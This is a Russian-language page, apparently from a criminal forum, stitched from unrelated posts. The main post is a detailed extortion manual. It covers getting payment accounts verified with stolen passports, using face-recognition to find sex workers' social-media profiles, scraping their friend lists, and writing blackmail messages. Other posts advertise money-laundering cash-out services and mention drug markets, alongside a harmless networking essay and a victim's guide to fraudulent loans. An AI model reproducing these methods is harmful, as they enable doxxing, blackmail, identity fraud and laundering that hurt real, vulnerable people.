Таблица лидеров

Актуально?

"Не знаю как вы, но мне приятно работать по своей схеме, она пришла мне в голову, так как я на протяжении полугода был клиентом нашей ЦА... да, да, надо же куда-то тратить эти чертовы бабки? Но это уже в прошлом" Разделим работу по этапам: 1) Подготовка Первый этап Нам нужна лишь минимальная анонимность, наши "клиенты" не пойдут в полицию, так как сами нарушают закон и они изначально знают об этом, лишние проблемы им не нужны, плюс деньги они зарабатывают быстро, мы не забираем последние крохи у нуждающихся, это стоит понимать. Но естественно лишняя осторожность нам не повредит. Нам нужен vpn, плюс не будет лишним vpn в самом браузере, это либо опера, либо всевозможные расширения, зайди, введи в поиске расширений "vpn" и выбирай тот, что нравится, там есть много бесплатных. Второй этап Деньги с "клиентов" мы будем принимать на чужие паспортные данные, наши клиенты не в курсах про криптовалюту, поэтому тут нам помогут Qiwi и Яндекс деньги, я пользовался ЯД, для идентификации нам нужен левый паспорт и инн, паспорт можно бесплатно достать в интернете, я не рекомендую гугл картинки, поэтому делюсь облаком, где собрано дофига паспортов, берите с середины, скорее всего будет не юзанный, ниже ссылка. https://mega.nz/#!sWJBXKIa!Ku7rIpSNuaFXLKBibR0dyQhLTZgMZMBZZV3xbQdkXfw Так же нам потребуется инн, на сайте налоговой по паспортным данным мы можем узнать инн на данный паспорт, https://service.nalog.ru/inn.do иногда пишет мол данные не верные, берите другой паспорт и пробуйте. Как только у нас будет паспорт + инн начинаем вбивать в анкету для идентификации. Чтобы пройти идентификацию - вбиваем левый виртуальный номер, большинство сайтов с виртуальными номерами не выдают смс с сервиса ЯД, вот ссылка на рабочий сайт https://5sim.net/free. Там слева внизу выбирайте "yandexmoney", 1 смс = 4 рубля, нам понадобится 2 смс, одно при регистрации и потом на тот же номер при выпуске аварийных кодов, они нужны, чтобы без смс подтверждения совершать любые действия (менять пароль, переводить деньги и т.д.), всего 25 аварийных кодов, нам этого вполне достаточно, после вбива левых паспортных данных минут 20-60 и наш акк должны идентифицировать, это отлично, анонимные платежи мы себе обеспечили. Третий этап Для работы нам так же понадобятся акки ВК, самые дешевые, одного акка нам хватит на 30-60 минут работы, никакой ценности они не представляют, можно самые дешевые новореги взять, для начала хватит штук 5. 2) Охота Охотиться мы будем на проституток, да, действительно, это и есть наши "клиенты". 18-25 лет, примерно такая ЦА нам нужна, заходим, форсим анкеты, нам нужны лица. Гуглим любой город РФ, допустим "проститутки москвы с проверенными фото", дело в том, что нам нужны настоящие фотографии, они могут скрывать лица, либо обработкой (вспышка, стикер, прилепленный рисунок с целью скрыть лицо в фоторедакторе с телефона или просто отворачиваться), такие анкеты нам не подходят, ищем тех, кто в реале показывает свое лицо, допустим в анкете 5 фотографий, из них 2-3 интимные и 1-2 в одежде, делайте упор на приличные фотки, без сексуального белья, без фона кровати рядом, а обычные повседневные, те, что девушка могла бы опубликовать в соц сетях. пример фото девушки пример фото девушки пример фото девушки Качаем приличные фотки в папку, заходим на https://findface.ru, это наш основной инструмент для охоты (я пробовал другие ресурсы, тут проще всего пробивать, поверьте мне). Суть очень проста - заливаем приличную фотку, где отчетливо видно лицо, нам выдается список из акков вк, где лицо девушки похоже на нашу жертву, т.е. возможно наша проститутка сфоткалась для "работы" поэротичнее и вдобавок загрузила пару фоток из жизни, которые есть у нее ВК, если даже именно той фотки и не было, findface все равно может найти девушку по лицу, тут уже включайте детектива, не всегда FindFace выдает четко ту девушку, что мы ищем, это было бы слишком просто, бывает, что попадаются совсем другие девушки, еще сложность в том, что с 1 акка ВК у нас 30 попыток, поэтому нам нужны были самые дешевые акки ВК и еще 1 раз мы сможем открыть профиль ВК найденной девушки или похожей на нее, в дальнейшем необходимо будет открыть ВК и в поиске по людям искать имя, которое высветилось в FindFace, еще поможет город, в самой анкете проститутки на сайте смотрим ее возраст и сортируем, обычно поиск по людям не достигает больше 300 человек. Поиск не удался (много одинаковых фоток фейков из ВК) мы видим аватарку найденной девушки в FindFace, но иногда девушка может поменять аву ВК на другую фотку, загруженную например до этого, лучше полистать фотки найденной девушки в FindFace и запомнить пару фоток, а потом искать девушку по аве ВК. Охота тем и нравится, мне например, мы чертов Шерлок, если хотите, наша цель найти ее во чтобы то ни стало, конечно у проститутки может не быть ВК, но это надо научиться определять еще на этапе выбора между различными результатами в FindFace. Это приходит с опытом, по началу ты будешь думать, что это все одни и те же девушки, но это не так, если поиск выдает прям одинаковые 10 фоток по аккам ВК с разными именами, городами, возрастом, это означает 2 варианта: либо у девушки очень популярный акк ВК и другие скачали ее фотки и нарядили в эти фотки фейков, либо фотки этой проститутки фейковые (скорее всего), даже не фейковые, а прототипные (в данном примере так и вышло), знаете про прототипы? У вас бывало такое, что вот у вас есть рыжая подруга и она залила новую фотку, а там неотчетливо видно лицо, но складывается впечатление по образу, что это она или в очках она, например, а на самом деле это прототип, похожая фотка с интернета, так наша девушка прошла проверку на сайте для "работы", обычно они фоткаются с табличкой, на которой написана либо сегодняшняя дата, либо название сайта, на котором публикуются, а залила фотки прототипа. В общем этот вариант нам не подходит. Чаще всего именно 1 вариант поиска совпадает с нашей "жертвой". Иногда в других вариантах поиска FindFace будет написано мол "найдено 2 фото" или там "найдено 5 фото", но на практике девушка совершенно другая, не обращайте внимание на этот критерий, он только мешает, если честно. Со временем ты научишься различать результаты, найденные в FindFace по формам лица, цвету глаз, губам, родинкам, приглядись на анкете уже на интимные ее фотки, рассмотри на предмет татуировок, а потом сравни ВК, допустим тату на руке, значит скорее всего она будет у нее на фотках ВК, посмотри дату публикации ее анкеты и публикации ВК, сопоставь даты, ведь если прошел интервал времени, то образ девушки мог поменяться. Успешный пробив так девушек связан с тем есть ли у нее вообще акк ВК, прототипные (фейковые) фотки она выложила или настоящие. Большинство проституток не палят свой фейс или загружают фотки из интернета или прототипы, не отчаиваемся, а пробиваем дальше, спустя 30 попыток меняем акк ВК, еще бывает, что Вы нашли девушку, но она уже год не заходила ВК или больше, пробиваем ее имя и фамилию в поиск ВК и ищем на предмет другой странички ВК, если снова терпим неудачу, то идем на одноклассники и ищем по ФИО ее там, у меня бывало и такое... разочаровалась она ВК, мб после ухода Дурова, а мб по другим своим причинам и решила зарегаться в одноклассниках, такое случается, но не часто, даже после неудачи не расстраиваемся и пробиваем дальше, как только нашли действующий ВК жертвы подготавливаемся к следующему этапу. 3) Накрываем бабочку сачком У нас есть ВК нашей жертвы, охота удалась, главный этап пройдет, главное, чтобы она в нем была активна, мб заходила непрям вчера/сегодня, а пару дней назад, мб неделю назад, главное, чтобы акк не был заброшен, это то, что нам нужно, перед тем как ей писать создаем папку с ее ФИО, например. Качаем все фотки из ее анкеты, принтскриним всю инфу с анкеты так же, нажимаем на вкладку "показать номер" в анкете, проститутка могла указать свой повседневный номер, это тоже послужит доказательством того, что анкета реальна, ведь откуда у нас может быть ее номер и интимные фотки, чтобы создать анкету за нее? Вряд ли кто-то так подумает, но лучше продумать все варианты. Когда компромат собран и все сохранено, занимаемся подготовкой уже на ее страничке ВК, открываем текстовый документ и кидаем ссылки на всех ее друзей, у нее их может быть и 100 и 300 и 500, проще всего это будет сделать через парсинг друзей/подписчиков ВК, их много на самом деле, я пользовался этим сайтом https://vk.barkov.net/followers.aspx, после ввода ссылки убираем галочку "подписчики", они по сути нам не нужна и оставляем галочку на "друзья" и потом список id ее друзей нам сформируется, кидаем их в текстовый файл и сохраняем в папке с компроматом, теперь после нашего ей послания она не сможет скрыть от нас необходимых друзей. Пишем жертве сразу и по теме, мы не в булочную пришли ее звать на эклеры, у нас к ней есть определенные требования, вариантов много, но я без скриптов писал всегда примерно одно и то же. Пишем мол попалась ты в мои сети, я не ебись конем какой хакер и вычислил тебя, кидаем сразу ссылку на ее анкету ну и типо "думала поработать и никто об этом не узнает? У меня к тебе чисто профессиональный интерес и ничего больше" Ну и дальше мол типо: "если не хочешь, чтобы твои друзья ВК узнали чем ты зарабатываешь, предлагаю тебе сделку - ты платишь сумму эквивалентную как за 3 часа своей работы, если откажешь мне - твои близкие узнают правду о твоей тайной жизни и поверь, кидать меня в ЧС самое неадекватное, что можно было бы делать в твоей ситуации. Я благородный и честный хакер, даю слово, что после оплаты не отправлю это никому, мне это не нужно, ты спокойно заменишь фотки, скроешь лицо на анкете, будешь работать как ни в чем не бывало, а мы с тобой разойдемся как в море корабли. Это небольшие деньги для тебя. Назовем это небольшим уроком анонимности". Ну тут по-разному бывает, естественно угрозы, маты и т.д., бывает все равно в ЧС закидывают на эмоциях, можем по ее номеру в анкете посмсить с бесплатных номеров еще, можем дать пару дней "заработать" на откуп от нас, оповещаем, что id ее друзей уже скопированы, не скроешь ни 1 друга от нас и т.д., смотрим, мб есть парень у нее, тоже пугаем, что парень узнает и опозоришься ты вообще на весь ВУЗ/деревню/родной город и т.д., у некоторых ВК даже были родители в друзьях, ну знаете типа в другой город переехала и следят как она там. 9/10 соглашаются, но некоторые не сразу, мб не полностью понимают, что им тогда пздц будет, в общем легко поднимаем капусту и ищем нового клиента, оплату принимаем на ЯД или Qiwi. С ЯД/Qiwi можно вывести через бестчендж уже на карту, я обменивал на пайпал свой и уже оттуда на свою карту, у меня паранойя из-за финмониторинга, поэтому вычитал, что так более лояльно относятся банки к крупным суммам, выводил не сразу с 1 жертвы, а спустя несколько дней. Психология и разъяснения Я не советую брать ну прям дохуя много, тут она за 2-3 часа заработает и отдаст нам деньги, а так это может затянуться и хрен знает чем кончится, решать сколько брать уже Вам самим. Есть проститутки 3-5к в час берут, некоторые люксорные 10к+, по-разному, смотрите много ли отзывов у нее в анкете, много ли просмотров, на некоторых сайтах это пишут все, думайте уже сами, что писать то поняли примерно, представьте себя на ее месте, для нее будет крахом, если школьные/студенческие друзья или другие близкие узнают чем она занимается, конечно она заплатит, в мануале самое сладкое, что ЦА очень платежеспособная и быстро может поднять капусту, покруче чем твой сосед на Азино :DDDD и расплатится с нами, а мы - будем плыть к новым берегам, ища уже других русалок.

Приму срочно залив на карту сбера.работаю честно,без проволочек и предоплат.

если такая херь случится на самом деле, то твоя детская статья 100% не поможет

НУ ЗНАЕТЕ ЛИ , ГУЧИ НАПРИМЕР ДОРОГО СТОЯТ, ПРОЩЕ ВЫНЕСТИ

Не так давно видео ютубе на эту тему смотрел

Один рамп 2.0 чего только стоит, теперь только гидра видимо

Начнем с того, что никто никогда никому ничего не делает за просто так. Вы можете выйти на улицу и первому встречному дать приличную сумму денег? Обычно происходит либо пересечение интересов и ресурсов, либо сотрудничество, и только в этом случае тебе могут что-то сделать те, у кого больше ресурсов. Если вы хотите найти полезные связи, то должны понимать и знать, как грамотно подкатить. В первую очередь вы должны подумать, как помочь ресурсному человеку в его деле или решить его проблему. И не просить ничего ни при каких обстоятельствах. Тех, кто у них постоянно что-то просит, их огромное количество, как паразитов. Как только у человека появляется большое количество денег, у него тут же обнаруживается куча друзей, родственников, и прочих подхалимов и всех остальных желающих подмазаться, что его начинает просто тошнить от такого отношения. Успешные и богатые люди зачастую стремятся к изоляции и одиночеству. Если вам попался такой знакомый, и если он почувствует, что вы ничего не можете ему дать, у вас даже мышление не работает в этом направлении, а работает по принципу «помоги, у тебя же и так все есть, от тебя не убудет!», то забудьте, что вы с этим человеком хотя бы ещё раз встретиться. Он сделает всё, чтобы вас от себя изолировать. Паразитическое, потребительское и приспособленческое мышление — это стандарт поведения большинства людей, особенно бедных и неуспешных. Подход с позиции получить на халяву проявляется во всем. Никто никогда не думает, с чего вдруг тебе кто-то должен помогать и решать твои проблемы. Никто не задумывается, а что он сам в первую очередь может сделать для этого человека, чтобы ему было интересно пообщаться и как-то помочь. Успешные люди открытые и общительные, но только с теми в ком не видят приспособленцев и халявщиков. Они, как правило, все очень открытые. Но обычно на контакт с ними пытаются выходить по идиотский и по принципу «сейчас я попробую что-то от него поиметь!», чтобы за просто так. Типа «от него не убудет, и так богатый, , а я зато счастливым стану, заживу!». Чем больше подход, по принципу «я весь такой несчастный, ранимый, помоги, мне очень плохо, у меня депрессия, мне так тяжело, а тебе ничего не стоит, протяни мне руку помощи и у меня сразу жизнь наладится, пожалуйста, тебе же не сложно, моя жизнь на волоске», тем сильнее успешные состоявшиеся люди ненавидят таких просящих. Сколько раз я видел, как они реагируют на такие просьбы — у всех всегда негатив. Казалось бы странно, человеку плохо, он просит о помощи, почему бы и не помочь, ведь это по всем канонам и нормам библии и религии только приветствуется и поощряется. Успешные люди просто знают, из какого теста сделан человек, и знают не только цену своим деньгам, но и видят жизнь такой, какая она есть, поэтому всегда призирают симулянтов и халявщиков, которые из себя изображают бедных овечек и несчастных страдальцев. Чем навязчивее и жалостливее их просишь, тем больше вероятность, что тебе не просто не помогут, чтобы ты, наконец, перестроил своё мышление. Потому что они понимают, что люди с паразитическим мышлением никогда не изменятся, и ничего у них в жизни не наладится. К богатым успешным людям очень часто обращаются малознакомые или совсем не знакомые люди, с тупыми и бесперспективными «деловыми» предложениями, или с позицией выехать за его счёт и попытаться выманить инвестиции. У них на глазах тут же появляется циничная ненависть, потому что они устали слушать этих нытиков и попрошаек. А больше всего они ненавидят родственников и старых друзей, потому что те просят больше всех, типа «помоги, ты же сват, брат, муж моей сестры, сделай мне ремонт, ты же миллионер». Они ненавидят этих паразитов. Эти люди сами нелёгким трудом добились своей цели, и знают цену, которую они заплатили, тернии, через которые прошли. Только они пытаются начать пожинать плоды и наслаждаться результатами своего адского труда (а это всегда колоссальная работа над психикой, и цена этому надломленное здоровье), как тут же приходят какие-то халявщики, которые не выстрадали от его работы даже десятой доли процента, и хотят то же самое получить на халяву. У них к этим халявщикам просыпается настоящая ненависть. Через некоторое время они становятся бронебойными циничными пофигистами. Повышение по службе или заключение выгодного контракта не всегда связано только с личными заслугами, иногда правильное знакомство значит гораздо больше для достижения успеха. Нередко мы замечаем, что удается намного быстрее достигнуть поставленной цели с помощью полезных контактов и связей, а не благодаря собственному опыту и компетентности. Чтобы завести знакомства с влиятельными людьми, нужно постоянно расширять свой круг общения. Но как правильно формировать этот круг, нужно ли знакомиться со всеми или быть избирательным в общении? Советы про нетворкинг: как завести знакомства и создать прочные связи? Нетворкинг и правильный поиск знакомых Дословно «нетворкинг» («net» — сеть, а «work» — работа) – способ поиска и укрепления контактов и связей, которые могут быть полезными в деловой сфере. Главная задача нетворкинга – завести знакомства избирательные, а не хаотичные, то есть выбирать те, которые действительно могут пригодиться в будущем для бизнеса и карьеры. Если вы только начали заниматься нетворкингом, то попробуйте вначале количественный способ, постарайтесь за определенное количество времени познакомиться с несколькими людьми, чем больше их будет, тем лучше. Но чтобы завести знакомства действительно ценные и увеличить эффективность нетворкинга, уделяйте особое внимание профильным местам: посещайте бизнес-тренинги, деловые приемы,специальные мероприятия. Если вы будете ходить в такие места, то вероятность знакомства с полезными людьми увеличивается в несколько раз. Не забывайте поддерживать связи с новыми знакомыми, со временем вы поймете, какие знакомства нужно сохранять и укреплять, а какие нет. Некоторые контакты можно не делать прочнее, но хранить визитки людей. Множество контактов и встреч предполагает трату большого количества времени. Но как можно завести знакомства и успевать заниматься другими делами? Специалисты советуют превратить нетворкинг в образ жизни, но сделать это сможет далеко не каждый человек. Вам придется привыкнуть к постоянным знакомствам и походам по деловым мероприятиям. Если вам сложно поддерживать такой образ жизни, вам лучше выбрать определенный круг людей, с которыми собираетесь постоянно поддерживать связь, то есть взять за основу не количество, а качество. Когда вы отобрали людей, с которыми будете поддерживать связи, работайте только с ними. У многих нетворкеров возникают проблемы с поддержкой связей. Они посещают полезные деловые мероприятия, получают визитки важных людей, продолжают с ними общение, созваниваются и т.д., но положительных результатов нет. В чем причина? Все было сделано точно по правилам, но связи не помогают в продвижении карьеры или бизнеса. Что делать? Как исправить ситуацию? Подумайте над своим деловым подходом перед тем, как завести знакомства. Скорее всего, он сухой и не заинтересовывает собеседника, вы стараетесь во время одного приема познакомиться с большим количеством людей, поэтому не можете уделить достаточного внимания каждому. Рекомендации начинающему нетворкеру Если вы отправляетесь на мероприятие в круг незнакомых вам людей, то завести знакомство с влиятельным человеком не так и просто, особенно, если вы постоянно следите за ним. Перед тем, как налаживать контакты с такими людьми, нужно помнить, что впечатление о человеке формируется в первые 10 секунд знакомства, но сделать это практически невозможно, если человек о вас ничего не слышал. Самый надежный помощник в этом случае тот, кто знает вас, и того, с кем вы решили познакомиться. Он может дать письменную или устную рекомендацию, сделать комплимент или даже просто упомянуть о ваших положительных качествах в разговоре. Если вы решите завести знакомства после рекомендаций, то увидите, что ваш потенциальный знакомый будет настроен на знакомство и будет вести себя дружелюбно, потому что слышал о вас что-то хорошее. Помните, что ваш будущий знакомый и друг или коллега, который дает рекомендации, должны находиться в хороших отношениях, иначе смысла в рекомендациях не будет. Но в деловых кругах получить рекомендацию даже от друга не так просто. Тот, кто будет вам помогать заводить знакомства, должен быть уверен, что его репутация от этого не пострадает. Чтобы не подвести его, у вас должно быть стоящее предложение, вам нужно заранее подготовиться и продумать план действий. Несмотря на все правила нетворкинга, завести знакомства можно не только в деловой атмосфере, но и на вечеринке среди близких людей. Вы можете иногда их посещать или даже устраивать сами. Даже если у вас не получится таким образом встретиться с влиятельным человеком, у вас появится возможность получить рекомендации. Какие контакты нужно выбирать для общения? Опытные нетворкеры знают, что одновременно поддерживать множество контактов бессмысленно, на это уходит слишком много времени, но положительных результатов не бывает. Также не стоит концентрироваться только на одном человеке, каким бы он ни был влиятельным, он сможет вам постоянно помогать в карьере или бизнесе. Чтобы окружить себя только полезными и интересными связями, вначале внимательно оцените всех своих знакомых и выделите из них только самых продуктивных, запишите их контакты в список полезных. Это могут быть старые и новые друзья, клиенты, коллеги, руководители и т.д. Но в большинстве случаев они заняты с вами в одной отрасли, поэтому не смогут привнести в ваш бизнес что-то новое. Чтобы завести знакомства, которые помогут вам преуспеть в новых направлениях, нужны знакомые из других сфер деятельности. Такие знакомые помогут вам развиваться и привнесут глоток свежего воздуха в ваше профессиональное развитие. Желательно, чтобы среди знакомых были люди, которые помогут сделать жизнь проще: врач, нотариус, парикмахер, компьютерный мастер и т.д. Перед тем, как завести знакомства, обращайте внимание на темперамент и характер собеседника, если он не похож на ваш, это еще не повод отказываться с ним общаться.

Норм статейка

Куда девать излишки с черных/белых/cерых схем? Очевидно, что в криптовалюту.

Так ты и не суйся, тебя разве кто то просит ?просто инфа

Как исправить кредитную историю В декабре 2016 года я потерял паспорт. Примерно через месяц мне позвонили из одного банка и спросили, оформлял ли я 30 декабря заявку на кредит в «Связном». Так я узнал, что паспорта у меня больше нет, а вместо меня его вовсю используют мошенники. В новогодние праздники паспортом я не пользовался. Получается, я целый месяц ходил без паспорта и не знал, что его у меня больше нет. За это время на мои документы взяли четыре кредита: три потребительских и один «заем до зарплаты» в микрокредитной организации. Общая сумма кредитов — 198 694 рубля. Разумеется, их никто не выплачивал. Я планировал в этом году брать ипотеку и уже купил билеты в отпуск за границей — все мои планы оказались под угрозой. Чтобы взять кредит, мошенникам нужен чужой паспорт. Иногда паспорта специально крадут, иногда просто находят, если хозяин его потерял. В паспорте меняют фотографию, наклеивают на нее защитную пленку с голограммой — выглядит как настоящая. Вот мой потерянный паспорт А это тот же паспорт, но с фотографией мошенника. По этому скану мошенник пытался оформить кредит в «Связном» Мошенник оформляет симкарту на поддельный паспорт и делает массовые запросы на потребительские кредиты в салонах связи и сетях розничной продажи техники. Кредит мошенники обычно запрашивают на популярную и дорогую технику, например на Айфон 7 или новый Макбук. Сотрудники салонов связи проверяют паспорта чисто формально. Они сравнивают фото в паспорте с лицом клиента и проверяют по базе паспортов, чтобы паспорт не был в розыске и не числился утерянным. Поэтому так важно заявить, что вы потеряли паспорт, сразу, как только вы это обнаружили. Клиент, пришедший в салон с моим паспортом. Фото справа сделано в салоне связи Если бы сотрудники салонов связи внимательно осмотрели паспорт, они бы, скорее всего, обнаружили, что с толщиной вклейки что-то не то. Но бывает и так, что сотрудник салона сам в сговоре с мошенником и специально не проверяет паспорт. Мошенник взял на мой паспорт три потребительских кредита — два на Айфон и один на компьютер. Все три кредита он оформил в розничных сетях электроники — в «Связном» и «М-видео». В таких магазинах есть специальный отдел, где сотрудники помогают покупателям быстро оформить кредит на покупку. Они отправляют заявки сразу в несколько банков — это и нужно мошенникам. Потом мошенник взял по моему паспорту заем 5000 рублей в микрокредитной организации. За три месяца эти 5000 рублей превратились в 13 100 рублей долга. Как я потом узнал, мошенники могут подавать заявки на кредиты и в интернете. Там вообще требуется только ввести данные паспорта. К моему счастью, выдавать миллионные кредиты ему банки отказались. Досудебное уведомление, которое я получил из «Займ-экспресса». Начисление по займу — 2% в день Как я узнал о кредитах Срок первых выплат настанет через месяц после оформления первого кредита. Кредиторы начнут отправлять письма на почту по адресу регистрации и звонить по номеру телефона, на который оформлен кредит. Конечно, они никому не дозвонятся: к этому моменту мошенник уже давно уничтожил симкарту. Когда в банках поймут, что по телефону клиент не отвечает, его будут искать в открытых источниках. Там, кстати, может оказаться ваш настоящий номер телефона. Так вы и узнаете, что стали жертвой мошенников. Так выглядела моя кредитная история 25 января 2017 года. Заем в кредитной истории «Эквифакса» не отразился — скорее всего, информация о нем была передана в другое бюро кредитных историй: У меня была кредитная карта с нулевой задолженностью и кредиты в трех банках на сумму 193 693 рубля. Эти кредиты мошенник взял в банках всего за два рабочих дня: 29 декабря 2016 года и 9 января 2017 года. Мне начали звонить и писать сотрудники банков. В этот момент главное — успокоиться Нельзя ни в коем случае никому платить. Даже если вам звонят коллекторы и настаивают на немедленной уплате всех долгов, иначе имущество ваше опишут, а вас посадят в тюрьму, — не соглашайтесь. Не вы оформляли заявки на кредит, а мошенник. В каждом пункте, где он побывал, есть камера видеонаблюдения. При оформлении кредита всегда делается фотография заявителя. Вы сможете доказать свою невиновность. Конечно, придется потратить время и поездить по полицейским участкам, паспортным столам, салонам связи и микрокредитным организациям. По моему опыту, при желании всё это можно сделать за один день. Шаг 1 Подайте заявление в полицию Как только поймете, что паспорта у вас больше нет, подавайте заявление в полицию. Хорошо, если это произойдет еще до того, как злоумышленник оформит кредиты на ваше имя. Тогда вы без проблем докажете, что никаких кредитов не брали. Либо, если такой паспорт проверит сотрудник магазина при оформлении кредита, он получит сигнал, что паспорт в розыске. Возможно, даже получится поймать мошенника с поличным. Если вы, как я, обнаружили пропажу спустя месяц, будет сложнее. Сначала я сделал всё неправильно. Я пошел в полицию и вместе с заявлением об утере паспорта подал еще одно — по факту мошенничества. Я надеялся, что полиция найдет мошенника, но через месяц я получил отказ в возбуждении уголовного дела. В полиции объяснили это так: материального ущерба нет — ведь я сам никому ничего не заплатил, — значит, и уголовного дела нет. Вам надо просто подать заявление в полицию об утере паспорта. Это можно сделать за 20 минут, если придете не в обеденное время. Обязательно возьмите талон-уведомление о поданном заявлении. Оно пригодится в паспортном столе. Так выглядит талон-уведомление — маленький, из тонкой бумаги. Советую сразу на всякий случай его сфотографировать Шаг 2 Подайте заявление в паспортный стол Из полиции идите в паспортный стол по месту жительства и подавайте заявление о замене паспорта. Еще проще сделать это через госуслуги. Госпошлина за выдачу паспорта в России — 1500 Р. Если подавать через госуслуги, будет скидка — заплатите 1050 Р. По закону уведомить государство о том, что вы потеряли паспорт, надо в течение 30 дней. Для этого надо подать заявление в паспортный стол. За утерю паспорта в любом случае положен административный штраф — 300 Р. Если вы сообщите об утере больше чем через месяц, штраф увеличится в 10 раз и придется платить 3000 Р. Я успел в 30-дневный срок и заплатил 300 Р. Если оплачивать через госуслуги, тоже будет скидка — заплатите 210 Р. Через паспортный стол новый паспорт вам сделают за 2—4 недели. Через госуслуги — максимум за 10 дней. В паспортный стол в любом случае придется приезжать: с собой возьмите фотографии и квитанцию об оплате госпошлины. Если вы укажете в заявлении, что паспорт украли, дополнительно понадобится принести в паспортный стол справку из полиции. Шаг 3 Найдите свою кредитную историю Теперь пора обращаться в БКИ — бюро кредитных историй, где хранятся кредитные истории всех граждан России. В России работает 21 бюро. Одна и та же история может храниться в нескольких сразу. Где находится чья-то конкретная история, знает Центробанк. По правилам надо сделать запрос в Центральный каталог кредитных историй, который принадлежит Центробанку, чтобы точно узнать, в каком бюро лежит ваша история. Я всего этого не знал и наугад обратился в «Эквифакс». Первый запрос бесплатно. Мне повезло, и я с первого раза получил свою кредитную историю. Сама кредитная история меня не обрадовала, зато из нее я узнал, сколько у меня теперь кредитов и в каких они банках. Так выглядит кредитная история клиента в «Эквифаксе». Внизу список кредитов, которые взяли мошенники: Обратите внимание на номера банков в разделе «Тип источника информации». Банк (1) — это «Альфа-банк», в котором у меня изначально была оформлена кредитная карта. Банк (2), Банк (3) и Банк (4) — это банки, выдавшие кредиты мошеннику. Сравниваем эти номера банков с номерами в списке источников формирования кредитной истории и узнаём, что эти кредиты мошенник получил в банках «БНП Париба восток», «МТС-банк» и «Ренессанс кредит»: Еще я узнал, что мошенники подавали заявления не только на те кредиты, которые были одобрены. Вот полный список их заявок. Если бы все эти заявления одобрили, я был бы должен банкам в общей сложности 1 812 853 рубля вместе с одобренными кредитами: Шаг 4 Подайте заявления в банки Чтобы аннулировать мошеннические договоры, нужно подать заявление лично в ближайшем отделении банка. Претензии можно писать в свободной форме. Возможно, вас сфотографируют. Документы из полиции мне не пригодились. Всем остальным занимается служба безопасности банка. Если банк работает дистанционно и отделений нет, как в Тинькофф-банке, нужно написать письмо в свободной форме и описать ситуацию, а потом позвонить в банк и оставить претензию о мошеннических действиях — это ускорит рассмотрение вашего вопроса. К такому письму нужно приложить копию талона-уведомления из полиции. Еще в письме советую указать, как с вами лучше связываться: по почте, телефону, смс и так далее. Я пошел в отделения «БНП Париба восток», «МТС-банка» и «Ренессанс кредита» и написал заявления о фактах мошенничества. Все заявления я подал за один день. Заявление в «Ренессанс кредит» я подал в офисе банка Заявление в «Займ-экспресс» просто напечатал на компьютере, подписал и отправил с курьером Когда пойдете в банк, на всякий случай лучше всё-таки иметь при себе копию талона-уведомления из полиции или другой документ, который подтвердит, что вы стали жертвой мошенников. Еще банк может запросить подтверждающий документ, когда вы начнете оформлять претензию. Ежедневно десятки клиентов сообщают о том, что договор не оформляли и денег не брали. Реальными жертвами мошенников оказываются единицы. Закрыть симкарты мошенника Чтобы запросить кредит, нужен номер телефона. Для достоверности мошенники могли оформить симкарту на ваш паспорт. Свяжитесь с мобильным оператором и запросите, какие телефонные номера оформлены на ваш украденный паспорт. Вот такие заявления я подал мобильным операторам Вот ответ Теле−2 Ждите Банки обязаны обработать вашу заявку в течение определенного количества дней. ЦБ строго следит за этим и назначает большой штраф за просрочку, поэтому банки оперативно исполняют такие запросы. Каждый банк будет информировать вас о статусе мошеннического кредита — мне писали в мессенджерах, звонили по телефону, присылали письма по электронной и обычной почте. По итогам рассмотрения претензии и внутреннего расследования банк отзовет строчку из кредитной истории, и ваш кредитный рейтинг вернется в прежнее состояние. Вот что мне ответили из «Займ-экспресса»: От «Ренессанс кредита» я получил документ, который подтверждает, что мое заявление приняли. Тут написано, что от меня могут потребоваться дополнительные доказательства, но на деле ничего кроме заявления не потребовалось: Из «МТС-банка» мне позвонили через пару дней после подачи заявления. Сотрудник сказал, что кредитный договор аннулируют и скоро строчка исчезнет из кредитной истории. Еще «МТС-банк» как потерпевшая сторона подал заявление в полицию по месту совершения преступления. Мне пришлось посетить отделение полиции в 15 минутах от метро «Новокосино»: меня вызвали как свидетеля по делу, чтобы взять показания и помочь найти мошенников. По итогам встречи сотрудник полиции попросил меня подписать объяснительную: Что еще важно знать Если у вас есть билеты на самолет или поезд, которые вы оформляли на старый паспорт, придется заказать услугу замены данных, иначе по этому билету вас не пустят. Можно просто заменить данные на данные из загранпаспорта. Если у вас нет загранпаспорта, то в паспортном столе можно заказать временный гражданский паспорт. Если у вас есть кредитная карта, то лимит по ней могут аннулировать. Так было с моей картой «Альфа-банка». Банк заметил, что у меня резко изменился рейтинг в БКИ, и уменьшил лимит по кредитной карте с 750 000 рублей до нуля. Я снова смог ей пользоваться, только когда записи о мошеннических кредитах были аннулированы. Вот моя обновленная кредитная история в «Эквифаксе»: актуальны кредитные договоры по двум моим кредитным картам — Тинькофф-банка и «Альфа-банка», все другие аннулированы Запомнить Следите за своим паспортом. Если паспорт потерялся или его украли — как можно скорее сообщите об этом в полицию или паспортный стол. Если мошенники взяли на ваш паспорт кредиты, вам не нужно их выплачивать. Нужно доказать, что вы кредиты не брали. Подайте в полицию заявление о краже паспорта. Подайте на госуслугах заявку на восстановление паспорта. Если у вас нет аккаунта на госуслугах, идите в паспортный стол. Это важно сделать в течение 30 дней после того, как вы лишились паспорта. Найдите свою кредитную историю, чтобы понять, в каких еще банках на ваше имя открыты мошеннические кредиты. Напишите заявления в банки о том, что кредиты брали не вы. Это надо делать в отделениях банка. Дальше кредитами, которые оформлены на ваше имя, займется служба безопасности банка. Прямо сейчас сфотографируйте свой паспорт и сохраните фотографии на компьютере и в надежном облачном хранилище — так вам будет проще доказать, что заявки на кредиты по украденному паспорту подавали мошенники, а не вы.

Оказываю услуги помощи вывода денег по 115 и не только по ней. Все вопросы в ЛС или ТГ Готов пройти любые проверки и работать через гарант сервис. https://t.me/Nifiop

Продавец приятен в общении, видно, что не первый день в теме. Будем работать. Рекомендую!

Ты решил, что мы таки должны углубиться в наркоту ?)

Заказ получил, спасибо за проведенную работу

Реклама - это нефть 21 века, точнее нефтью является трафик, который добывается рекламой. И кажется, что никакая реклама тебя не берёт, а нет - всегда найдется то, что цепанёт именно тебя.

Профит получил спустя 2 дня, схема годная, дальше писать не буду, ибо спалю всю схему)

